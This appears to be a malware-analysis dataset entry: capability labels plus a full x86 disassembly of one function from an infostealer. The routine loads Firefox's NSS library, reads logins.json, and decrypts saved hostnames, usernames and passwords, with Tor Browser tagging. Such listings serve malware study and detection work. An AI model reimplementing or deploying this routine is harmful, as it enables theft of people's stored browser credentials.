Function at 0x100933c0
Capabilities:
Check if file exists
Get file attributes
Link many functions at runtime
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1fc
mov eax, dword [0x10100008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor ebx, ebx
lea eax, [ebp + 8]
push edi
mov esi, ecx
mov dword [ebp - 0x114], ebx
push eax
lea ecx, [ebp - 0x108]
mov dword [ebp - 0x148], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], bl
call fcn.100b2820
cmp dword [ebp - 0xf4], 0x10
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
push str.nss3.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, dword [ebp - 0xf4]
mov edi, eax
cmp edx, 0x10
jb 0x10093464
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009345a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push edx
push ecx
call fcn.100bede4
add esp, 8
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], bl
test edi, edi
jne 0x10093598
push edi
push 0x100f1e78
mov ecx, esi
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
mov byte [esi], bl
call fcn.100b2fb0
mov edx, dword [ebp - 0x20]
cmp edx, 0x10
jb 0x100934cf
mov ecx, dword [ebp - 0x34]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100934c5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094801
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0x10093503
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100934f9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094801
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], ebx
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], bl
cmp edx, 0x10
jb 0x10093544
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009353a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094801
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp + 0x4c]
mov dword [ebp + 0x30], ebx
mov dword [ebp + 0x34], 0xf
mov byte [ebp + 0x20], bl
cmp edx, 0x10
jb 0x10093585
mov ecx, dword [ebp + 0x38]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x1009357b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094801
push edx
push ecx
call fcn.100bede4
add esp, 8
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100be889
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.NSS_Init
push edi
call esi
push str.PL_Base64Decode
push edi
mov dword [0x10103938], eax
call esi
push str.PK11SDR_Decrypt
push edi
mov dword [0x10103944], eax
call esi
push str.PK11_Authenticate
push edi
mov dword [0x1010395c], eax
call esi
push str.PK11_GetInternalKeySlot
push edi
mov dword [0x10103974], eax
call esi
push str.PK11_FreeSlot
push edi
mov dword [0x101039c8], eax
call esi
push str.NSS_Shutdown
push edi
mov dword [0x10103960], eax
call esi
cmp dword [ebp + 0x34], 0x10
mov dword [0x1010393c], eax
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x100936d2
test al, 0x10
je 0x100936d2
mov eax, dword [ebp + 0x30]
lea ecx, [ebp - 0x1c]
add eax, 0xc
mov dword [ebp - 0xc], ebx
push eax
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], bl
call fcn.100b5970
cmp dword [ebp + 0x34], 0x10
lea ecx, [ebp + 0x20]
mov esi, dword [ebp - 8]
mov eax, esi
cmovae ecx, dword [ebp + 0x20]
mov edi, dword [ebp + 0x30]
mov edx, dword [ebp - 0xc]
sub eax, edx
push edi
push ecx
cmp edi, eax
ja 0x10093677
lea eax, [edx + edi]
cmp esi, 0x10
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x1c]
cmovae eax, dword [ebp - 0x1c]
lea esi, [eax + edx]
push esi
call fcn.100c22c0
add esp, 0xc
mov byte [edi + esi], bl
jmp 0x1009368c
mov byte [ebp - 0x10d], bl
lea ecx, [ebp - 0x1c]
push dword [ebp - 0x10d]
push edi
call fcn.100b4450
push str.logins.json
lea ecx, [ebp - 0x1c]
call fcn.100b26a0
cmp dword [ebp - 8], 0x10
lea eax, [ebp - 0x1c]
push 0x100fb364
cmovae eax, dword [ebp - 0x1c]
push eax
call fcn.100c897d
add esp, 8
test eax, eax
je 0x100936cd
push eax
call fcn.100c8a0b
add esp, 4
mov byte [ebp - 0x109], 1
mov ebx, 1
jmp 0x100936d9
mov ebx, 1
mov byte [ebp - 0x109], 0
test bl, 1
je 0x10093724
mov edx, dword [ebp - 8]
cmp edx, 0x10
jb 0x10093712
mov ecx, dword [ebp - 0x1c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093708
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1009480b
push edx
push ecx
call fcn.100bede4
add esp, 8
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0xf
mov byte [ebp - 0x1c], 0
cmp byte [ebp - 0x109], 0
je 0x1009471e
cmp dword [ebp + 0x34], 0x10
lea eax, [ebp + 0x20]
cmovae eax, dword [ebp + 0x20]
push eax
call dword [0x10103938]
sub esp, 0x14
lea eax, [ebp + 0x20]
mov ecx, esp
push eax
call fcn.100b2820
call fcn.1008b050
mov edx, eax
mov dword [ebp - 0x3c], 0
mov ecx, edx
mov dword [ebp - 0x38], 0xf
add esp, 0x18
mov byte [ebp - 0x4c], 0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10093772
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x4c]
call fcn.100b2fb0
cmp dword [ebp - 0x3c], 0
jbe 0x100946ea
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
push str._hostname_:_______
lea ecx, [ebp - 0xf0]
movups xmmword [ebp - 0xf0], xmm0
call fcn.100b1b10
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xcc], 0
push str._encryptedUsername_:_______
lea ecx, [ebp - 0xdc]
movups xmmword [ebp - 0xdc], xmm0
call fcn.100b1b10
push ecx
xorps xmm0, xmm0
mov dword [ebp - 0xb8], 0
push str._encryptedPassword_:_______
lea ecx, [ebp - 0xc8]
movups xmmword [ebp - 0xc8], xmm0
call fcn.100b1b10
push 0x38
lea eax, [ebp - 0xb4]
push 0
push eax
call fcn.100c1720
mov eax, dword [ebp - 0x38]
lea esi, [ebp - 0x4c]
mov edx, dword [ebp - 0x4c]
mov ebx, 0xf
add esp, 0xc
mov dword [ebp - 0xc], 0
cmp eax, 0x10
mov dword [ebp - 8], 0xf
mov edi, ebx
mov byte [ebp - 0x1c], 0
cmovae esi, edx
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x68], ebx
mov byte [ebp - 0x7c], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x50], edi
mov byte [ebp - 0x64], 0
cmp eax, 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
cmovae ecx, edx
lea edx, [ebp - 0xf0]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xb4]
push eax
push esi
call fcn.100b8690
add esp, 0x10
test al, al
je 0x1009456c
mov ecx, dword [ebp - 0xa8]
mov eax, 0x2aaaaaab
mov edi, dword [ebp - 0xac]
sub ecx, edi
imul ecx
lea ecx, [ebp - 0x88]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x100938af
lea ecx, [edi + 0xc]
cmp byte [ecx + 8], 0
je 0x100938be
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x100938c4
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [ebp - 0xf8], 0
mov edi, 0xf
mov dword [ebp - 0xf4], edi
mov byte [ebp - 0x108], 0
cmp edx, ecx
je 0x100938f9
sub ecx, edx
push ecx
push eax
lea ecx, [ebp - 0x108]
call fcn.100b2fb0
mov edi, dword [ebp - 0xf4]
cmp edi, 0x10
lea ecx, [ebp - 0x108]
cmovae ecx, dword [ebp - 0x108]
call fcn.1008b970
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10093915
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x1c]
call fcn.100b2fb0
mov edx, dword [ebp - 0xf4]
cmp edx, 0x10
jb 0x10093962
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093958
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push edx
push ecx
call fcn.100bede4
add esp, 8
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0xdc]
cmovae ecx, dword [ebp - 0x4c]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xb4]
push eax
push esi
call fcn.100b8690
mov ecx, dword [ebp - 0xa8]
mov eax, 0x2aaaaaab
mov ebx, dword [ebp - 0xac]
sub esp, 8
sub ecx, ebx
mov edi, esp
imul ecx
lea ecx, [ebp - 0x88]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x100939b8
lea ecx, [ebx + 0xc]
cmp byte [ecx + 8], 0
je 0x100939c7
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x100939cd
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp edx, ecx
je 0x100939ed
sub ecx, edx
push ecx
push eax
mov ecx, edi
call fcn.100b2fb0
call fcn.10093260
add esp, 0x18
mov ecx, eax
call fcn.1008b970
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10093a03
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x7c]
call fcn.100b2fb0
cmp dword [ebp - 0x38], 0x10
lea ecx, [ebp - 0x4c]
mov eax, dword [ebp - 0x3c]
lea edx, [ebp - 0xc8]
cmovae ecx, dword [ebp - 0x4c]
push esi
push ecx
add eax, ecx
lea ecx, [ebp - 0xb4]
push eax
push esi
call fcn.100b8690
mov ecx, dword [ebp - 0xa8]
mov eax, 0x2aaaaaab
mov ebx, dword [ebp - 0xac]
sub esp, 8
sub ecx, ebx
mov edi, esp
imul ecx
lea ecx, [ebp - 0x88]
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp eax, 1
jbe 0x10093a6c
lea ecx, [ebx + 0xc]
cmp byte [ecx + 8], 0
je 0x10093a7b
mov eax, dword [ecx]
mov edx, eax
mov ecx, dword [ecx + 4]
jmp 0x10093a81
xor eax, eax
xor ecx, ecx
xor edx, edx
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp edx, ecx
je 0x10093aa1
sub ecx, edx
push ecx
push eax
mov ecx, edi
call fcn.100b2fb0
call fcn.10093260
add esp, 0x18
mov ecx, eax
call fcn.1008b970
mov edx, eax
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10093ab7
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x64]
call fcn.100b2fb0
mov ecx, 8
mov dword [ebp - 0x11c], 0
cmp dword [ebp - 0xc], ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x118], 0xf
cmovb ecx, dword [ebp - 0xc]
cmp dword [ebp - 8], 0x10
push ecx
cmovae eax, dword [ebp - 0x1c]
lea ecx, [ebp - 0x12c]
push eax
mov byte [ebp - 0x12c], 0
call fcn.100b2fb0
mov edx, str.oauth:__
lea ecx, [ebp - 0x12c]
call fcn.100b33d0
mov edx, dword [ebp - 0x118]
mov bl, al
cmp edx, 0x10
jb 0x10093b55
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093b4b
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094810
push edx
push ecx
call fcn.100bede4
add esp, 8
test bl, bl
jne 0x1009450a
mov edi, dword [ebp + 0x4c]
lea eax, [ebp + 0x38]
cmp edi, 0x10
cmovae eax, dword [ebp + 0x38]
cmp dword [ebp + 0x48], 1
jne 0x100940fa
cmp byte [eax], 0x30
jne 0x100940fa
mov ebx, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
test ebx, ebx
je 0x10094103
test ecx, ecx
je 0x10094103
test eax, eax
je 0x10094103
lea eax, [ebx + 1]
mov dword [ebp - 0xf8], 0
push eax
lea ecx, [ebp - 0x108]
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
call fcn.100b5970
push 0x100fb3c0
lea ecx, [ebp - 0x108]
call fcn.100b26a0
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0xf4]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xf8]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x10093c24
lea eax, [edx + ebx]
cmp edi, 0x10
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
lea edi, [eax + edx]
push edi
call fcn.100c22c0
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x10093c3d
mov byte [ebp - 0x10d], 0
lea ecx, [ebp - 0x108]
push dword [ebp - 0x10d]
push ebx
call fcn.100b4450
push 0x100fb3bc
lea ecx, [ebp - 0x108]
call fcn.100b26a0
lea edx, [ebp - 0x168]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x158], xmm0
cmp dword [ebp - 0x154], 0x10
mov ecx, dword [ebp - 0x158]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
movd ebx, xmm1
push ecx
movups xmmword [ebp - 0x168], xmm1
cmovae edx, ebx
sub eax, edi
push edx
cmp ecx, eax
ja 0x10093cc5
cmp dword [ebp - 0x20], 0x10
lea eax, [edi + ecx]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
add edi, eax
push edi
call fcn.100c22c0
mov eax, dword [ebp - 0x158]
add esp, 0xc
mov byte [eax + edi], 0
jmp 0x10093ce1
mov byte [ebp - 0x130], 0
push dword [ebp - 0x130]
push ecx
lea ecx, [ebp - 0x34]
call fcn.100b4450
mov ebx, dword [ebp - 0x168]
mov eax, dword [ebp - 0x154]
cmp eax, 0x10
jb 0x10093d17
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x10093d0d
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push ecx
push ebx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0xf4]
cmp edx, 0x10
jb 0x10093d51
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093d47
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push edx
push ecx
call fcn.100bede4
add esp, 8
mov ebx, dword [ebp - 0x6c]
lea ecx, [ebp - 0x108]
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
lea eax, [ebx + 1]
push eax
call fcn.100b5970
push 0x100fb3c0
lea ecx, [ebp - 0x108]
call fcn.100b26a0
cmp dword [ebp - 0x68], 0x10
lea ecx, [ebp - 0x7c]
mov edi, dword [ebp - 0xf4]
mov eax, edi
cmovae ecx, dword [ebp - 0x7c]
mov edx, dword [ebp - 0xf8]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x10093dda
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
lea edi, [eax + edx]
push edi
call fcn.100c22c0
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x10093df3
mov byte [ebp - 0x134], 0
lea ecx, [ebp - 0x108]
push dword [ebp - 0x134]
push ebx
call fcn.100b4450
push 0x100fb3bc
lea ecx, [ebp - 0x108]
call fcn.100b26a0
lea edx, [ebp - 0x180]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x170], xmm0
cmp dword [ebp - 0x16c], 0x10
mov ecx, dword [ebp - 0x170]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
movd ebx, xmm1
push ecx
movups xmmword [ebp - 0x180], xmm1
cmovae edx, ebx
sub eax, edi
push edx
cmp ecx, eax
ja 0x10093e7b
cmp dword [ebp - 0x20], 0x10
lea eax, [ecx + edi]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
add edi, eax
push edi
call fcn.100c22c0
mov eax, dword [ebp - 0x170]
add esp, 0xc
mov byte [eax + edi], 0
jmp 0x10093e97
mov byte [ebp - 0x138], 0
push dword [ebp - 0x138]
push ecx
lea ecx, [ebp - 0x34]
call fcn.100b4450
mov ebx, dword [ebp - 0x180]
mov eax, dword [ebp - 0x16c]
cmp eax, 0x10
jb 0x10093ecd
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x10093ec3
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push ecx
push ebx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0xf4]
cmp edx, 0x10
jb 0x10093f07
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10093efd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push edx
push ecx
call fcn.100bede4
add esp, 8
mov ebx, dword [ebp - 0x54]
lea ecx, [ebp - 0x108]
mov dword [ebp - 0xf8], 0
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
lea eax, [ebx + 1]
push eax
call fcn.100b5970
push 0x100fb3c0
lea ecx, [ebp - 0x108]
call fcn.100b26a0
cmp dword [ebp - 0x50], 0x10
lea ecx, [ebp - 0x64]
mov edi, dword [ebp - 0xf4]
mov eax, edi
cmovae ecx, dword [ebp - 0x64]
mov edx, dword [ebp - 0xf8]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x10093f90
lea eax, [ebx + edx]
cmp edi, 0x10
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
lea edi, [eax + edx]
push edi
call fcn.100c22c0
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x10093fa9
mov byte [ebp - 0x13c], 0
lea ecx, [ebp - 0x108]
push dword [ebp - 0x13c]
push ebx
call fcn.100b4450
push 0x100fb3bc
lea ecx, [ebp - 0x108]
call fcn.100b26a0
lea edx, [ebp - 0x198]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x188], xmm0
cmp dword [ebp - 0x184], 0x10
mov ecx, dword [ebp - 0x188]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
movd ebx, xmm1
push ecx
movups xmmword [ebp - 0x198], xmm1
cmovae edx, ebx
sub eax, edi
push edx
cmp ecx, eax
ja 0x10094031
cmp dword [ebp - 0x20], 0x10
lea eax, [ecx + edi]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
add edi, eax
push edi
call fcn.100c22c0
mov eax, dword [ebp - 0x188]
add esp, 0xc
mov byte [eax + edi], 0
jmp 0x1009404d
mov byte [ebp - 0x140], 0
push dword [ebp - 0x140]
push ecx
lea ecx, [ebp - 0x34]
call fcn.100b4450
mov ebx, dword [ebp - 0x198]
mov eax, dword [ebp - 0x184]
cmp eax, 0x10
jb 0x10094083
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x10094079
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push ecx
push ebx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0xf4]
cmp edx, 0x10
jb 0x100940bd
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100940b3
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push edx
push ecx
call fcn.100bede4
add esp, 8
push 0x100f2c94
lea ecx, [ebp - 0x34]
call fcn.100b26a0
push 0
push 0x100f1e78
lea ecx, [ebp - 0x1c]
call fcn.100b2fb0
push 0
push 0x100f1e78
lea ecx, [ebp - 0x7c]
call fcn.100b2fb0
push 0
push 0x100f1e78
lea ecx, [ebp - 0x64]
call fcn.100b2fb0
mov edi, dword [ebp + 0x4c]
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x54]
mov ebx, dword [ebp - 0xc]
cmp edi, 0x10
lea edx, [ebp + 0x38]
cmovae edx, dword [ebp + 0x38]
cmp dword [ebp + 0x48], 1
jne 0x10094504
cmp byte [edx], 0x31
jne 0x10094504
test ebx, ebx
je 0x10094504
test ecx, ecx
je 0x10094504
test eax, eax
je 0x10094504
lea eax, [ebx + 0xf]
mov dword [ebp - 0xf8], 0
push eax
lea ecx, [ebp - 0x108]
mov dword [ebp - 0xf4], 0xf
mov byte [ebp - 0x108], 0
call fcn.100b5970
push str.webTorBrowser
lea ecx, [ebp - 0x108]
call fcn.100b26a0
cmp dword [ebp - 8], 0x10
lea ecx, [ebp - 0x1c]
mov edi, dword [ebp - 0xf4]
mov eax, edi
cmovae ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xf8]
sub eax, edx
push ebx
push ecx
cmp ebx, eax
ja 0x100941be
lea eax, [edx + ebx]
cmp edi, 0x10
mov dword [ebp - 0xf8], eax
lea eax, [ebp - 0x108]
cmovae eax, dword [ebp - 0x108]
lea edi, [eax + edx]
push edi
call fcn.100c22c0
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x100941d7
mov byte [ebp - 0x144], 0
lea ecx, [ebp - 0x108]
push dword [ebp - 0x144]
push ebx
call fcn.100b4450
push 0x100fb3c8
lea ecx, [ebp - 0x108]
call fcn.100b26a0
lea edx, [ebp - 0x12c]
lea ecx, [ebp - 0x1f8]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x12c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x11c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x7c]
push eax
call fcn.100b3550
add esp, 4
mov ecx, eax
push 0x100fb3c8
call fcn.100b26a0
lea edx, [ebp - 0x1c8]
lea ecx, [ebp - 0x1e0]
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x1c8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1b8], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x64]
push eax
call fcn.100b3550
add esp, 4
mov ecx, eax
push 0x100fb3c4
call fcn.100b26a0
lea edx, [ebp - 0x1b0]
movups xmm1, xmmword [eax]
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1a0], xmm0
cmp dword [ebp - 0x19c], 0x10
mov ecx, dword [ebp - 0x1a0]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x20]
mov edi, dword [ebp - 0x24]
movd ebx, xmm1
push ecx
movups xmmword [ebp - 0x1b0], xmm1
cmovae edx, ebx
sub eax, edi
push edx
cmp ecx, eax
ja 0x100942f7
cmp dword [ebp - 0x20], 0x10
lea eax, [edi + ecx]
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x34]
cmovae eax, dword [ebp - 0x34]
add edi, eax
push edi
call fcn.100c22c0
mov eax, dword [ebp - 0x1a0]
add esp, 0xc
mov byte [eax + edi], 0
jmp 0x10094313
mov byte [ebp - 0x114], 0
push dword [ebp - 0x114]
push ecx
lea ecx, [ebp - 0x34]
call fcn.100b4450
mov ebx, dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x19c]
cmp eax, 0x10
jb 0x10094349
lea ecx, [eax + 1]
mov eax, ebx
cmp ecx, 0x1000
jb 0x1009433f
mov ebx, dword [ebx - 4]
add ecx, 0x23
sub eax, ebx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push ecx
push ebx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0x1cc]
cmp edx, 0x10
jb 0x10094383
mov ecx, dword [ebp - 0x1e0]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10094379
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0x1b4]
mov dword [ebp - 0x1d0], 0
mov dword [ebp - 0x1cc], 0xf
mov byte [ebp - 0x1e0], 0
cmp edx, 0x10
jb 0x100943d8
mov ecx, dword [ebp - 0x1c8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100943ce
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0x1e4]
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0xf
mov byte [ebp - 0x1c8], 0
cmp edx, 0x10
jb 0x1009442d
mov ecx, dword [ebp - 0x1f8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10094423
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0x118]
mov dword [ebp - 0x1e8], 0
mov dword [ebp - 0x1e4], 0xf
mov byte [ebp - 0x1f8], 0
cmp edx, 0x10
jb 0x10094482
mov ecx, dword [ebp - 0x12c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x10094478
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push edx
push ecx
call fcn.100bede4
add esp, 8
mov edx, dword [ebp - 0xf4]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp edx, 0x10
jb 0x100944d7
mov ecx, dword [ebp - 0x108]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x100944cd
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10094806
push edx
push ecx
call fcn.100bede4
add esp, 8
push 0
push 0x100f1e78
lea ecx, [ebp - 0x1c]
call fcn.100b2fb0
push 0
push 0x100f1e78
lea ecx, [ebp - 0x7c]
call fcn.100b2fb0
push 0
push 0x100f1e78
lea ecx, [ebp - 0x64]
call fcn.100b2fb0
inc dword [0x10103994]
mov edi, dword [ebp - 0xac]
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0xa8]
sub ecx, edi
imul ecx
lea eax, [ebp - 0x88]
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
cmovne eax, edi
mov edx, dword [eax]
lea eax, [ebp - 0x88]
sub edx, dword [ebp - 0xb4]
test ecx, ecx
cmovne eax, edi
cmp byte [eax + 8], 0
je 0x10094551
mov ecx, dword [eax]
mov eax, dword [eax + 4]
jmp 0x10094555
xor eax, eax
xor ecx, ecx
mov ebx, dword [ebp - 0x68]
sub eax, ecx
